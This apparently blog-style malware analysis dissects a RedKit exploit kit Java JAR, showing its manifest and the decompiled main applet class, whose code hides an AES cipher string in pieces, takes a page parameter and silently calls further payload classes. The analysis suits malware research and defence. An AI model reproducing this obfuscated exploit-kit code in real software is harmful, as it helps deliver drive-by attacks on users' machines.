RedKit Java exploit – under the hood

Now its time to download the JAR file:

webkit-3

Let’s dig inside of the JAR file. There are couple of classes:

java1

Here is the manifest file:

Manifest-Version: 1.0
Ant-Version: Apache Ant 1.8.4
Created-By: 1.7.0_21-b11 (Oracle Corporation)
Class-Path: 
X-COMMENT: Main-Class will be added automatically by build

Now the main class Akula.class:

import java.applet.Applet;

public class Akula extends Applet
{
  static String Esk = "";
  static String Lupan = "AE".concat("S/CB").concat("C/NoPa").concat("dding");

  public void init() {
    Esk = getParameter(Pidao.Abc);
    try
    {
      Telet.Naixie();
      Formuga.Fakesbtk();
    }
    catch (Throwable ex)
    {
    }
  }
}

Leave a comment